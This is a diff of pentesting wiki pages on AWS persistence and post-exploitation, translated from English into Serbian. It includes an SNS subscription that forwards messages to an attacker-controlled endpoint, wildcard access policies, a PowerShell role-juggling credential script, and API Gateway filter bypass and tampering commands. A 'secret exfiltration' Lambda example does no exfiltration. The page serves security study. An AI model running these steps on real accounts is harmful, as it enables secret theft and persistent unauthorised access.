|
||||
|
||||
{{#ref}}
|
||||
../aws-services/aws-secrets-manager-enum.md
|
||||
{{#endref}}
|
||||
|
||||
### Via Resource Policies
|
||||
### Putem politika resursa
|
||||
|
||||
It's possible to **grant access to secrets to external accounts** via resource policies. Check the [**Secrets Manager Privesc page**](../aws-privilege-escalation/aws-secrets-manager-privesc.md) for more information. Note that to **access a secret**, the external account will also **need access to the KMS key encrypting the secret**.
|
||||
Moguće je **dodeliti pristup tajnama spoljnim nalozima** putem politika resursa. Pogledajte [**stranicu o Privesc-u za Secrets Manager**](../aws-privilege-escalation/aws-secrets-manager-privesc.md) za više informacija. Imajte na umu da da bi **pristupio tajni**, spoljni nalog će takođe **morati da ima pristup KMS ključu koji enkriptuje tajnu**.
|
||||
|
||||
### Via Secrets Rotate Lambda
|
||||
### Putem Lambda funkcije za rotaciju tajni
|
||||
|
||||
To **rotate secrets** automatically a configured **Lambda** is called. If an attacker could **change** the **code** he could directly **exfiltrate the new secret** to himself.
|
||||
|
||||
This is how lambda code for such action could look like:
|
||||
Da bi se **automatski rotirale tajne**, poziva se konfigurisana **Lambda**. Ako bi napadač mogao da **izmeni** **kod**, mogao bi direktno da **izvuče novu tajnu** za sebe.
|
||||
|
||||
Ovako bi kod lambda funkcije za takvu akciju mogao izgledati:
|
||||
```python
|
||||
import boto3
|
||||
|
||||
def rotate_secrets(event, context):
|
||||
# Create a Secrets Manager client
|
||||
client = boto3.client('secretsmanager')
|
||||
# Create a Secrets Manager client
|
||||
client = boto3.client('secretsmanager')
|
||||
|
||||
# Retrieve the current secret value
|
||||
secret_value = client.get_secret_value(SecretId='example_secret_id')['SecretString']
|
||||
# Retrieve the current secret value
|
||||
secret_value = client.get_secret_value(SecretId='example_secret_id')['SecretString']
|
||||
|
||||
# Rotate the secret by updating its value
|
||||
new_secret_value = rotate_secret(secret_value)
|
||||
client.update_secret(SecretId='example_secret_id', SecretString=new_secret_value)
|
||||
# Rotate the secret by updating its value
|
||||
new_secret_value = rotate_secret(secret_value)
|
||||
client.update_secret(SecretId='example_secret_id', SecretString=new_secret_value)
|
||||
|
||||
def rotate_secret(secret_value):
|
||||
# Perform the rotation logic here, e.g., generate a new password
|
||||
# Perform the rotation logic here, e.g., generate a new password
|
||||
|
||||
# Example: Generate a new password
|
||||
new_secret_value = generate_password()
|
||||
# Example: Generate a new password
|
||||
new_secret_value = generate_password()
|
||||
|
||||
return new_secret_value
|
||||
return new_secret_value
|
||||
|
||||
def generate_password():
|
||||
# Example: Generate a random password using the secrets module
|
||||
import secrets
|
||||
import string
|
||||
password = ''.join(secrets.choice(string.ascii_letters + string.digits) for i in range(16))
|
||||
return password
|
||||
# Example: Generate a random password using the secrets module
|
||||
import secrets
|
||||
import string
|
||||
password = ''.join(secrets.choice(string.ascii_letters + string.digits) for i in range(16))
|
||||
return password
|
||||
```
|
||||
|
||||
{{#include ../../../banners/hacktricks-training.md}}
|
||||
|
||||
|
||||
|
||||
|
||||
|
||||
@@ -4,7 +4,7 @@
|
||||
|
||||
## SNS
|
||||
|
||||
For more information check:
|
||||
Za više informacija pogledajte:
|
||||
|
||||
{{#ref}}
|
||||
../aws-services/aws-sns-enum.md
|
||||
@@ -12,74 +12,66 @@ For more information check:
|
||||
|
||||
### Persistence
|
||||
|
||||
When creating a **SNS topic** you need to indicate with an IAM policy **who has access to read and write**. It's possible to indicate external accounts, ARN of roles, or **even "\*"**.\
|
||||
The following policy gives everyone in AWS access to read and write in the SNS topic called **`MySNS.fifo`**:
|
||||
|
||||
Kada kreirate **SNS temu**, potrebno je da navedete IAM politikom **ko ima pristup za čitanje i pisanje**. Moguće je navesti spoljne naloge, ARN uloga, ili **čak "\*"**.\
|
||||
Sledeća politika daje svima u AWS-u pristup za čitanje i pisanje u SNS temu pod nazivom **`MySNS.fifo`**:
|
||||
```json
|
||||
{
|
||||
"Version": "2008-10-17",
|
||||
"Id": "__default_policy_ID",
|
||||
"Statement": [
|
||||
{
|
||||
"Sid": "__default_statement_ID",
|
||||
"Effect": "Allow",
|
||||
"Principal": {
|
||||
"AWS": "*"
|
||||
},
|
||||
"Action": [
|
||||
"SNS:Publish",
|
||||
"SNS:RemovePermission",
|
||||
"SNS:SetTopicAttributes",
|
||||
"SNS:DeleteTopic",
|
||||
"SNS:ListSubscriptionsByTopic",
|
||||
"SNS:GetTopicAttributes",
|
||||
"SNS:AddPermission",
|
||||
"SNS:Subscribe"
|
||||
],
|
||||
"Resource": "arn:aws:sns:us-east-1:318142138553:MySNS.fifo",
|
||||
"Condition": {
|
||||
"StringEquals": {
|
||||
"AWS:SourceOwner": "318142138553"
|
||||
}
|
||||
}
|
||||
},
|
||||
{
|
||||
"Sid": "__console_pub_0",
|
||||
"Effect": "Allow",
|
||||
"Principal": {
|
||||
"AWS": "*"
|
||||
},
|
||||
"Action": "SNS:Publish",
|
||||
"Resource": "arn:aws:sns:us-east-1:318142138553:MySNS.fifo"
|
||||
},
|
||||
{
|
||||
"Sid": "__console_sub_0",
|
||||
"Effect": "Allow",
|
||||
"Principal": {
|
||||
"AWS": "*"
|
||||
},
|
||||
"Action": "SNS:Subscribe",
|
||||
"Resource": "arn:aws:sns:us-east-1:318142138553:MySNS.fifo"
|
||||
}
|
||||
]
|
||||
"Version": "2008-10-17",
|
||||
"Id": "__default_policy_ID",
|
||||
"Statement": [
|
||||
{
|
||||
"Sid": "__default_statement_ID",
|
||||
"Effect": "Allow",
|
||||
"Principal": {
|
||||
"AWS": "*"
|
||||
},
|
||||
"Action": [
|
||||
"SNS:Publish",
|
||||
"SNS:RemovePermission",
|
||||
"SNS:SetTopicAttributes",
|
||||
"SNS:DeleteTopic",
|
||||
"SNS:ListSubscriptionsByTopic",
|
||||
"SNS:GetTopicAttributes",
|
||||
"SNS:AddPermission",
|
||||
"SNS:Subscribe"
|
||||
],
|
||||
"Resource": "arn:aws:sns:us-east-1:318142138553:MySNS.fifo",
|
||||
"Condition": {
|
||||
"StringEquals": {
|
||||
"AWS:SourceOwner": "318142138553"
|
||||
}
|
||||
}
|
||||
},
|
||||
{
|
||||
"Sid": "__console_pub_0",
|
||||
"Effect": "Allow",
|
||||
"Principal": {
|
||||
"AWS": "*"
|
||||
},
|
||||
"Action": "SNS:Publish",
|
||||
"Resource": "arn:aws:sns:us-east-1:318142138553:MySNS.fifo"
|
||||
},
|
||||
{
|
||||
"Sid": "__console_sub_0",
|
||||
"Effect": "Allow",
|
||||
"Principal": {
|
||||
"AWS": "*"
|
||||
},
|
||||
"Action": "SNS:Subscribe",
|
||||
"Resource": "arn:aws:sns:us-east-1:318142138553:MySNS.fifo"
|
||||
}
|
||||
]
|
||||
}
|
||||
```
|
||||
### Kreirajte Pretplatnike
|
||||
|
||||
### Create Subscribers
|
||||
|
||||
To continue exfiltrating all the messages from all the topics and attacker could **create subscribers for all the topics**.
|
||||
|
||||
Note that if the **topic is of type FIFO**, only subscribers using the protocol **SQS** can be used.
|
||||
Da bi se nastavilo sa eksfiltracijom svih poruka sa svih tema, napadač može **kreirati pretplatnike za sve teme**.
|
||||
|
||||
Napomena: ako je **tema tipa FIFO**, samo pretplatnici koji koriste protokol **SQS** mogu se koristiti.
|
||||
```bash
|
||||
aws sns subscribe --region <region> \
|
||||
--protocol http \
|
||||
--notification-endpoint http://<attacker>/ \
|
||||
--topic-arn <arn>
|
||||
--protocol http \
|
||||
--notification-endpoint http://<attacker>/ \
|
||||
--topic-arn <arn>
|
||||
```
|
||||
|
||||
{{#include ../../../banners/hacktricks-training.md}}
|
||||
|
||||
|
||||
|
||||
|
||||
|
||||
@@ -4,40 +4,34 @@
|
||||
|
||||
## SQS
|
||||
|
||||
For more information check:
|
||||
Za više informacija pogledajte:
|
||||
|
||||
{{#ref}}
|
||||
../aws-services/aws-sqs-and-sns-enum.md
|
||||
{{#endref}}
|
||||
|
||||
### Using resource policy
|
||||
|
||||
In SQS you need to indicate with an IAM policy **who has access to read and write**. It's possible to indicate external accounts, ARN of roles, or **even "\*"**.\
|
||||
The following policy gives everyone in AWS access to everything in the queue called **MyTestQueue**:
|
||||
### Korišćenje politike resursa
|
||||
|
||||
U SQS-u morate naznačiti sa IAM politikom **ko ima pristup za čitanje i pisanje**. Moguće je naznačiti spoljne naloge, ARN uloga, ili **čak "\*"**.\
|
||||
Sledeća politika daje svima u AWS-u pristup svemu u redu pod nazivom **MyTestQueue**:
|
||||
```json
|
||||
{
|
||||
"Version": "2008-10-17",
|
||||
"Id": "__default_policy_ID",
|
||||
"Statement": [
|
||||
{
|
||||
"Sid": "__owner_statement",
|
||||
"Effect": "Allow",
|
||||
"Principal": {
|
||||
"AWS": "*"
|
||||
},
|
||||
"Action": ["SQS:*"],
|
||||
"Resource": "arn:aws:sqs:us-east-1:123123123123:MyTestQueue"
|
||||
}
|
||||
]
|
||||
"Version": "2008-10-17",
|
||||
"Id": "__default_policy_ID",
|
||||
"Statement": [
|
||||
{
|
||||
"Sid": "__owner_statement",
|
||||
"Effect": "Allow",
|
||||
"Principal": {
|
||||
"AWS": "*"
|
||||
},
|
||||
"Action": ["SQS:*"],
|
||||
"Resource": "arn:aws:sqs:us-east-1:123123123123:MyTestQueue"
|
||||
}
|
||||
]
|
||||
}
|
||||
```
|
||||
|
||||
> [!NOTE]
|
||||
> You could even **trigger a Lambda in the attackers account every-time a new message** is put in the queue (you would need to re-put it) somehow. For this follow these instructinos: [https://docs.aws.amazon.com/lambda/latest/dg/with-sqs-cross-account-example.html](https://docs.aws.amazon.com/lambda/latest/dg/with-sqs-cross-account-example.html)
|
||||
> Možete čak **pokrenuti Lambda u nalogu napadača svaki put kada se nova poruka** stavi u red (morali biste je ponovo staviti) na neki način. Za ovo pratite ove instrukcije: [https://docs.aws.amazon.com/lambda/latest/dg/with-sqs-cross-account-example.html](https://docs.aws.amazon.com/lambda/latest/dg/with-sqs-cross-account-example.html)
|
||||
|
||||
{{#include ../../../banners/hacktricks-training.md}}
|
||||
|
||||
|
||||
|
||||
|
||||
|
||||
@@ -1,6 +1 @@
|
||||
# AWS - SSM Perssitence
|
||||
|
||||
|
||||
|
||||
|
||||
|
||||
|
||||
@@ -4,22 +4,18 @@
|
||||
|
||||
## Step Functions
|
||||
|
||||
For more information check:
|
||||
Za više informacija pogledajte:
|
||||
|
||||
{{#ref}}
|
||||
../aws-services/aws-stepfunctions-enum.md
|
||||
{{#endref}}
|
||||
|
||||
### Step function Backdooring
|
||||
### Backdooring step funkcija
|
||||
|
||||
Backdoor a step function to make it perform any persistence trick so every time it's executed it will run your malicious steps.
|
||||
Backdoor-ujte step funkciju da izvršava bilo koju tehniku persistencije tako da svaki put kada se izvrši, pokreće vaše zlonamerne korake.
|
||||
|
||||
### Backdooring aliases
|
||||
### Backdooring aliasa
|
||||
|
||||
If the AWS account is using aliases to call step functions it would be possible to modify an alias to use a new backdoored version of the step function.
|
||||
Ako AWS nalog koristi alias za pozivanje step funkcija, bilo bi moguće modifikovati alias da koristi novu backdoor-ovanu verziju step funkcije.
|
||||
|
||||
{{#include ../../../banners/hacktricks-training.md}}
|
||||
|
||||
|
||||
|
||||
|
||||
|
||||
@@ -4,7 +4,7 @@
|
||||
|
||||
## STS
|
||||
|
||||
For more information access:
|
||||
Za više informacija pristupite:
|
||||
|
||||
{{#ref}}
|
||||
../aws-services/aws-sts-enum.md
|
||||
@@ -12,54 +12,51 @@ For more information access:
|
||||
|
||||
### Assume role token
|
||||
|
||||
Temporary tokens cannot be listed, so maintaining an active temporary token is a way to maintain persistence.
|
||||
Privremeni tokeni se ne mogu listati, tako da održavanje aktivnog privremenog tokena predstavlja način za održavanje postojanosti.
|
||||
|
||||
<pre class="language-bash"><code class="lang-bash">aws sts get-session-token --duration-seconds 129600
|
||||
|
||||
# With MFA
|
||||
# Sa MFA
|
||||
aws sts get-session-token \
|
||||
--serial-number <mfa-device-name> \
|
||||
--token-code <code-from-token>
|
||||
--serial-number <mfa-device-name> \
|
||||
--token-code <code-from-token>
|
||||
|
||||
# Hardware device name is usually the number from the back of the device, such as GAHT12345678
|
||||
<strong># SMS device name is the ARN in AWS, such as arn:aws:iam::123456789012:sms-mfa/username
|
||||
</strong># Vritual device name is the ARN in AWS, such as arn:aws:iam::123456789012:mfa/username
|
||||
# Ime hardverskog uređaja je obično broj sa zadnje strane uređaja, kao što je GAHT12345678
|
||||
<strong># Ime SMS uređaja je ARN u AWS, kao što je arn:aws:iam::123456789012:sms-mfa/username
|
||||
</strong># Ime virtuelnog uređaja je ARN u AWS, kao što je arn:aws:iam::123456789012:mfa/username
|
||||
</code></pre>
|
||||
|
||||
### Role Chain Juggling
|
||||
|
||||
[**Role chaining is an acknowledged AWS feature**](https://docs.aws.amazon.com/IAM/latest/UserGuide/id_roles_terms-and-concepts.html#Role%20chaining), often utilized for maintaining stealth persistence. It involves the ability to **assume a role which then assumes another**, potentially reverting to the initial role in a **cyclical manner**. Each time a role is assumed, the credentials' expiration field is refreshed. Consequently, if two roles are configured to mutually assume each other, this setup allows for the perpetual renewal of credentials.
|
||||
|
||||
You can use this [**tool**](https://github.com/hotnops/AWSRoleJuggler/) to keep the role chaining going:
|
||||
[**Lanci uloga su priznata AWS funkcija**](https://docs.aws.amazon.com/IAM/latest/UserGuide/id_roles_terms-and-concepts.html#Role%20chaining), često korišćena za održavanje stealth postojanosti. Uključuje sposobnost da **preuzmete ulogu koja zatim preuzima drugu**, potencijalno se vraćajući na početnu ulogu na **cikličan način**. Svaki put kada se preuzme uloga, polje isteka kredencijala se osvežava. Kao rezultat, ako su dve uloge konfigurisane da međusobno preuzimaju jedna drugu, ova postavka omogućava večnu obnovu kredencijala.
|
||||
|
||||
Možete koristiti ovaj [**alat**](https://github.com/hotnops/AWSRoleJuggler/) da nastavite sa lancima uloga:
|
||||
```bash
|
||||
./aws_role_juggler.py -h
|
||||
usage: aws_role_juggler.py [-h] [-r ROLE_LIST [ROLE_LIST ...]]
|
||||
|
||||
optional arguments:
|
||||
-h, --help show this help message and exit
|
||||
-r ROLE_LIST [ROLE_LIST ...], --role-list ROLE_LIST [ROLE_LIST ...]
|
||||
-h, --help show this help message and exit
|
||||
-r ROLE_LIST [ROLE_LIST ...], --role-list ROLE_LIST [ROLE_LIST ...]
|
||||
```
|
||||
|
||||
> [!CAUTION]
|
||||
> Note that the [find_circular_trust.py](https://github.com/hotnops/AWSRoleJuggler/blob/master/find_circular_trust.py) script from that Github repository doesn't find all the ways a role chain can be configured.
|
||||
> Imajte na umu da [find_circular_trust.py](https://github.com/hotnops/AWSRoleJuggler/blob/master/find_circular_trust.py) skripta iz tog Github repozitorijuma ne pronalazi sve načine na koje se lanac uloga može konfigurisati.
|
||||
|
||||
<details>
|
||||
|
||||
<summary>Code to perform Role Juggling from PowerShell</summary>
|
||||
|
||||
<summary>Kod za izvođenje Role Juggling iz PowerShell-a</summary>
|
||||
```powershell
|
||||
# PowerShell script to check for role juggling possibilities using AWS CLI
|
||||
|
||||
# Check for AWS CLI installation
|
||||
if (-not (Get-Command "aws" -ErrorAction SilentlyContinue)) {
|
||||
Write-Error "AWS CLI is not installed. Please install it and configure it with 'aws configure'."
|
||||
exit
|
||||
Write-Error "AWS CLI is not installed. Please install it and configure it with 'aws configure'."
|
||||
exit
|
||||
}
|
||||
|
||||
# Function to list IAM roles
|
||||
function List-IAMRoles {
|
||||
aws iam list-roles --query "Roles[*].{RoleName:RoleName, Arn:Arn}" --output json
|
||||
aws iam list-roles --query "Roles[*].{RoleName:RoleName, Arn:Arn}" --output json
|
||||
}
|
||||
|
||||
# Initialize error count
|
||||
@@ -70,66 +67,61 @@ $roles = List-IAMRoles | ConvertFrom-Json
|
||||
|
||||
# Attempt to assume each role
|
||||
foreach ($role in $roles) {
|
||||
$sessionName = "RoleJugglingTest-" + (Get-Date -Format FileDateTime)
|
||||
try {
|
||||
$credentials = aws sts assume-role --role-arn $role.Arn --role-session-name $sessionName --query "Credentials" --output json 2>$null | ConvertFrom-Json
|
||||
if ($credentials) {
|
||||
Write-Host "Successfully assumed role: $($role.RoleName)"
|
||||
Write-Host "Access Key: $($credentials.AccessKeyId)"
|
||||
Write-Host "Secret Access Key: $($credentials.SecretAccessKey)"
|
||||
Write-Host "Session Token: $($credentials.SessionToken)"
|
||||
Write-Host "Expiration: $($credentials.Expiration)"
|
||||
$sessionName = "RoleJugglingTest-" + (Get-Date -Format FileDateTime)
|
||||
try {
|
||||
$credentials = aws sts assume-role --role-arn $role.Arn --role-session-name $sessionName --query "Credentials" --output json 2>$null | ConvertFrom-Json
|
||||
if ($credentials) {
|
||||
Write-Host "Successfully assumed role: $($role.RoleName)"
|
||||
Write-Host "Access Key: $($credentials.AccessKeyId)"
|
||||
Write-Host "Secret Access Key: $($credentials.SecretAccessKey)"
|
||||
Write-Host "Session Token: $($credentials.SessionToken)"
|
||||
Write-Host "Expiration: $($credentials.Expiration)"
|
||||
|
||||
# Set temporary credentials to assume the next role
|
||||
$env:AWS_ACCESS_KEY_ID = $credentials.AccessKeyId
|
||||
$env:AWS_SECRET_ACCESS_KEY = $credentials.SecretAccessKey
|
||||
$env:AWS_SESSION_TOKEN = $credentials.SessionToken
|
||||
# Set temporary credentials to assume the next role
|
||||
$env:AWS_ACCESS_KEY_ID = $credentials.AccessKeyId
|
||||
$env:AWS_SECRET_ACCESS_KEY = $credentials.SecretAccessKey
|
||||
$env:AWS_SESSION_TOKEN = $credentials.SessionToken
|
||||
|
||||
# Try to assume another role using the temporary credentials
|
||||
foreach ($nextRole in $roles) {
|
||||
if ($nextRole.Arn -ne $role.Arn) {
|
||||
$nextSessionName = "RoleJugglingTest-" + (Get-Date -Format FileDateTime)
|
||||
try {
|
||||
$nextCredentials = aws sts assume-role --role-arn $nextRole.Arn --role-session-name $nextSessionName --query "Credentials" --output json 2>$null | ConvertFrom-Json
|
||||
if ($nextCredentials) {
|
||||
Write-Host "Also successfully assumed role: $($nextRole.RoleName) from $($role.RoleName)"
|
||||
Write-Host "Access Key: $($nextCredentials.AccessKeyId)"
|
||||
Write-Host "Secret Access Key: $($nextCredentials.SecretAccessKey)"
|
||||
Write-Host "Session Token: $($nextCredentials.SessionToken)"
|
||||
Write-Host "Expiration: $($nextCredentials.Expiration)"
|
||||
}
|
||||
} catch {
|
||||
$errorCount++
|
||||
}
|
||||
}
|
||||
}
|
||||
# Try to assume another role using the temporary credentials
|
||||
foreach ($nextRole in $roles) {
|
||||
if ($nextRole.Arn -ne $role.Arn) {
|
||||
$nextSessionName = "RoleJugglingTest-" + (Get-Date -Format FileDateTime)
|
||||
try {
|
||||
$nextCredentials = aws sts assume-role --role-arn $nextRole.Arn --role-session-name $nextSessionName --query "Credentials" --output json 2>$null | ConvertFrom-Json
|
||||
if ($nextCredentials) {
|
||||
Write-Host "Also successfully assumed role: $($nextRole.RoleName) from $($role.RoleName)"
|
||||
Write-Host "Access Key: $($nextCredentials.AccessKeyId)"
|
||||
Write-Host "Secret Access Key: $($nextCredentials.SecretAccessKey)"
|
||||
Write-Host "Session Token: $($nextCredentials.SessionToken)"
|
||||
Write-Host "Expiration: $($nextCredentials.Expiration)"
|
||||
}
|
||||
} catch {
|
||||
$errorCount++
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
# Reset environment variables
|
||||
Remove-Item Env:\AWS_ACCESS_KEY_ID
|
||||
Remove-Item Env:\AWS_SECRET_ACCESS_KEY
|
||||
Remove-Item Env:\AWS_SESSION_TOKEN
|
||||
} else {
|
||||
$errorCount++
|
||||
}
|
||||
} catch {
|
||||
$errorCount++
|
||||
}
|
||||
# Reset environment variables
|
||||
Remove-Item Env:\AWS_ACCESS_KEY_ID
|
||||
Remove-Item Env:\AWS_SECRET_ACCESS_KEY
|
||||
Remove-Item Env:\AWS_SESSION_TOKEN
|
||||
} else {
|
||||
$errorCount++
|
||||
}
|
||||
} catch {
|
||||
$errorCount++
|
||||
}
|
||||
}
|
||||
|
||||
# Output the number of errors if any
|
||||
if ($errorCount -gt 0) {
|
||||
Write-Host "$errorCount error(s) occurred during role assumption attempts."
|
||||
Write-Host "$errorCount error(s) occurred during role assumption attempts."
|
||||
} else {
|
||||
Write-Host "No errors occurred. All roles checked successfully."
|
||||
Write-Host "No errors occurred. All roles checked successfully."
|
||||
}
|
||||
|
||||
Write-Host "Role juggling check complete."
|
||||
```
|
||||
|
||||
</details>
|
||||
|
||||
{{#include ../../../banners/hacktricks-training.md}}
|
||||
|
||||
|
||||
|
||||
|
||||
|
||||
@@ -1,6 +1 @@
|
||||
# AWS - Post Exploitation
|
||||
|
||||
|
||||
|
||||
|
||||
|
||||
|
||||
@@ -4,48 +4,43 @@
|
||||
|
||||
## API Gateway
|
||||
|
||||
For more information check:
|
||||
Za više informacija pogledajte:
|
||||
|
||||
{{#ref}}
|
||||
../aws-services/aws-api-gateway-enum.md
|
||||
{{#endref}}
|
||||
|
||||
### Access unexposed APIs
|
||||
### Pristup neizloženim API-ima
|
||||
|
||||
You can create an endpoint in [https://us-east-1.console.aws.amazon.com/vpc/home#CreateVpcEndpoint](https://us-east-1.console.aws.amazon.com/vpc/home?region=us-east-1#CreateVpcEndpoint:) with the service `com.amazonaws.us-east-1.execute-api`, expose the endpoint in a network where you have access (potentially via an EC2 machine) and assign a security group allowing all connections.\
|
||||
Then, from the EC2 machine you will be able to access the endpoint and therefore call the gateway API that wasn't exposed before.
|
||||
Možete kreirati endpoint na [https://us-east-1.console.aws.amazon.com/vpc/home#CreateVpcEndpoint](https://us-east-1.console.aws.amazon.com/vpc/home?region=us-east-1#CreateVpcEndpoint:) sa servisom `com.amazonaws.us-east-1.execute-api`, izložiti endpoint u mreži kojoj imate pristup (potencijalno putem EC2 mašine) i dodeliti sigurnosnu grupu koja omogućava sve veze.\
|
||||
Zatim, sa EC2 mašine moći ćete da pristupite endpoint-u i tako pozovete gateway API koji nije bio izložen ranije.
|
||||
|
||||
### Bypass Request body passthrough
|
||||
### Obilaženje Request body passthrough
|
||||
|
||||
This technique was found in [**this CTF writeup**](https://blog-tyage-net.translate.goog/post/2023/2023-09-03-midnightsun/?_x_tr_sl=en&_x_tr_tl=es&_x_tr_hl=en&_x_tr_pto=wapp).
|
||||
Ova tehnika je pronađena u [**ovom CTF izveštaju**](https://blog-tyage-net.translate.goog/post/2023/2023-09-03-midnightsun/?_x_tr_sl=en&_x_tr_tl=es&_x_tr_hl=en&_x_tr_pto=wapp).
|
||||
|
||||
As indicated in the [**AWS documentation**](https://docs.aws.amazon.com/AWSCloudFormation/latest/UserGuide/aws-properties-apigateway-method-integration.html) in the `PassthroughBehavior` section, by default, the value **`WHEN_NO_MATCH`** , when checking the **Content-Type** header of the request, will pass the request to the back end with no transformation.
|
||||
|
||||
Therefore, in the CTF the API Gateway had an integration template that was **preventing the flag from being exfiltrated** in a response when a request was sent with `Content-Type: application/json`:
|
||||
Kao što je navedeno u [**AWS dokumentaciji**](https://docs.aws.amazon.com/AWSCloudFormation/latest/UserGuide/aws-properties-apigateway-method-integration.html) u sekciji `PassthroughBehavior`, podrazumevano, vrednost **`WHEN_NO_MATCH`**, prilikom provere **Content-Type** header-a zahteva, će proslediti zahtev ka back end-u bez transformacije.
|
||||
|
||||
Stoga, u CTF-u je API Gateway imao integracioni šablon koji je **sprečavao da se zastavica exfiltrira** u odgovoru kada je zahtev poslat sa `Content-Type: application/json`:
|
||||
```yaml
|
||||
RequestTemplates:
|
||||
application/json: '{"TableName":"Movies","IndexName":"MovieName-Index","KeyConditionExpression":"moviename=:moviename","FilterExpression": "not contains(#description, :flagstring)","ExpressionAttributeNames": {"#description": "description"},"ExpressionAttributeValues":{":moviename":{"S":"$util.escapeJavaScript($input.params(''moviename''))"},":flagstring":{"S":"midnight"}}}'
|
||||
application/json: '{"TableName":"Movies","IndexName":"MovieName-Index","KeyConditionExpression":"moviename=:moviename","FilterExpression": "not contains(#description, :flagstring)","ExpressionAttributeNames": {"#description": "description"},"ExpressionAttributeValues":{":moviename":{"S":"$util.escapeJavaScript($input.params(''moviename''))"},":flagstring":{"S":"midnight"}}}'
|
||||
```
|
||||
Međutim, slanje zahteva sa **`Content-type: text/json`** bi sprečilo taj filter.
|
||||
|
||||
However, sending a request with **`Content-type: text/json`** would prevent that filter.
|
||||
|
||||
Finally, as the API Gateway was only allowing `Get` and `Options`, it was possible to send an arbitrary dynamoDB query without any limit sending a POST request with the query in the body and using the header `X-HTTP-Method-Override: GET`:
|
||||
|
||||
Na kraju, pošto je API Gateway dozvoljavao samo `Get` i `Options`, bilo je moguće poslati proizvoljnu dynamoDB upit bez ikakvih ograničenja slanjem POST zahteva sa upitom u telu i korišćenjem header-a `X-HTTP-Method-Override: GET`:
|
||||
```bash
|
||||
curl https://vu5bqggmfc.execute-api.eu-north-1.amazonaws.com/prod/movies/hackers -H 'X-HTTP-Method-Override: GET' -H 'Content-Type: text/json' --data '{"TableName":"Movies","IndexName":"MovieName-Index","KeyConditionExpression":"moviename = :moviename","ExpressionAttributeValues":{":moviename":{"S":"hackers"}}}'
|
||||
```
|
||||
|
||||
### Usage Plans DoS
|
||||
|
||||
In the **Enumeration** section you can see how to **obtain the usage plan** of the keys. If you have the key and it's **limited** to X usages **per month**, you could **just use it and cause a DoS**.
|
||||
U sekciji **Enumeration** možete videti kako da **dobijete plan korišćenja** ključeva. Ako imate ključ i on je **ograničen** na X korišćenja **mesečno**, možete **samo da ga koristite i izazovete DoS**.
|
||||
|
||||
The **API Key** just need to be **included** inside a **HTTP header** called **`x-api-key`**.
|
||||
**API Key** samo treba da bude **uključen** unutar **HTTP header-a** pod nazivom **`x-api-key`**.
|
||||
|
||||
### `apigateway:UpdateGatewayResponse`, `apigateway:CreateDeployment`
|
||||
|
||||
An attacker with the permissions `apigateway:UpdateGatewayResponse` and `apigateway:CreateDeployment` can **modify an existing Gateway Response to include custom headers or response templates that leak sensitive information or execute malicious scripts**.
|
||||
|
||||
Napadač sa dozvolama `apigateway:UpdateGatewayResponse` i `apigateway:CreateDeployment` može **modifikovati postojeći Gateway Response da uključi prilagođene header-e ili šablone odgovora koji otkrivaju osetljive informacije ili izvršavaju zlonamerne skripte**.
|
||||
```bash
|
||||
API_ID="your-api-id"
|
||||
RESPONSE_TYPE="DEFAULT_4XX"
|
||||
@@ -56,16 +51,14 @@ aws apigateway update-gateway-response --rest-api-id $API_ID --response-type $RE
|
||||
# Create a deployment for the updated API Gateway REST API
|
||||
aws apigateway create-deployment --rest-api-id $API_ID --stage-name Prod
|
||||
```
|
||||
|
||||
**Potential Impact**: Leakage of sensitive information, executing malicious scripts, or unauthorized access to API resources.
|
||||
**Potencijalni uticaj**: Curjenje osetljivih informacija, izvršavanje zlonamernih skripti ili neovlašćen pristup API resursima.
|
||||
|
||||
> [!NOTE]
|
||||
> Need testing
|
||||
> Potrebno testiranje
|
||||
|
||||
### `apigateway:UpdateStage`, `apigateway:CreateDeployment`
|
||||
|
||||
An attacker with the permissions `apigateway:UpdateStage` and `apigateway:CreateDeployment` can **modify an existing API Gateway stage to redirect traffic to a different stage or change the caching settings to gain unauthorized access to cached data**.
|
||||
|
||||
Napadač sa dozvolama `apigateway:UpdateStage` i `apigateway:CreateDeployment` može **modifikovati postojeću API Gateway fazu da preusmeri saobraćaj na drugu fazu ili promeni postavke keširanja kako bi stekao neovlašćen pristup keširanim podacima**.
|
||||
```bash
|
||||
API_ID="your-api-id"
|
||||
STAGE_NAME="Prod"
|
||||
@@ -76,16 +69,14 @@ aws apigateway update-stage --rest-api-id $API_ID --stage-name $STAGE_NAME --pat
|
||||
# Create a deployment for the updated API Gateway REST API
|
||||
aws apigateway create-deployment --rest-api-id $API_ID --stage-name Prod
|
||||
```
|
||||
**Potencijalni uticaj**: Neovlašćen pristup keširanim podacima, ometanje ili presretanje API saobraćaja.
|
||||
|
||||
**Potential Impact**: Unauthorized access to cached data, disrupting or intercepting API traffic.
|
||||
|
||||
> [!NOTE]
|
||||
> Need testing
|
||||
> [!NAPOMENA]
|
||||
> Potrebno testiranje
|
||||
|
||||
### `apigateway:PutMethodResponse`, `apigateway:CreateDeployment`
|
||||
|
||||
An attacker with the permissions `apigateway:PutMethodResponse` and `apigateway:CreateDeployment` can **modify the method response of an existing API Gateway REST API method to include custom headers or response templates that leak sensitive information or execute malicious scripts**.
|
||||
|
||||
Napadač sa dozvolama `apigateway:PutMethodResponse` i `apigateway:CreateDeployment` može **modifikovati odgovor metode postojećeg API Gateway REST API metoda da uključuje prilagođene zaglavlja ili šablone odgovora koji otkrivaju osetljive informacije ili izvršavaju zlonamerne skripte**.
|
||||
```bash
|
||||
API_ID="your-api-id"
|
||||
RESOURCE_ID="your-resource-id"
|
||||
@@ -98,16 +89,14 @@ aws apigateway put-method-response --rest-api-id $API_ID --resource-id $RESOURCE
|
||||
# Create a deployment for the updated API Gateway REST API
|
||||
aws apigateway create-deployment --rest-api-id $API_ID --stage-name Prod
|
||||
```
|
||||
|
||||
**Potential Impact**: Leakage of sensitive information, executing malicious scripts, or unauthorized access to API resources.
|
||||
**Potencijalni uticaj**: Curjenje osetljivih informacija, izvršavanje malicioznih skripti ili neovlašćen pristup API resursima.
|
||||
|
||||
> [!NOTE]
|
||||
> Need testing
|
||||
> Potrebno testiranje
|
||||
|
||||
### `apigateway:UpdateRestApi`, `apigateway:CreateDeployment`
|
||||
|
||||
An attacker with the permissions `apigateway:UpdateRestApi` and `apigateway:CreateDeployment` can **modify the API Gateway REST API settings to disable logging or change the minimum TLS version, potentially weakening the security of the API**.
|
||||
|
||||
Napadač sa dozvolama `apigateway:UpdateRestApi` i `apigateway:CreateDeployment` može **modifikovati podešavanja API Gateway REST API-a da onemogući logovanje ili promeni minimalnu TLS verziju, potencijalno slabeći bezbednost API-a**.
|
||||
```bash
|
||||
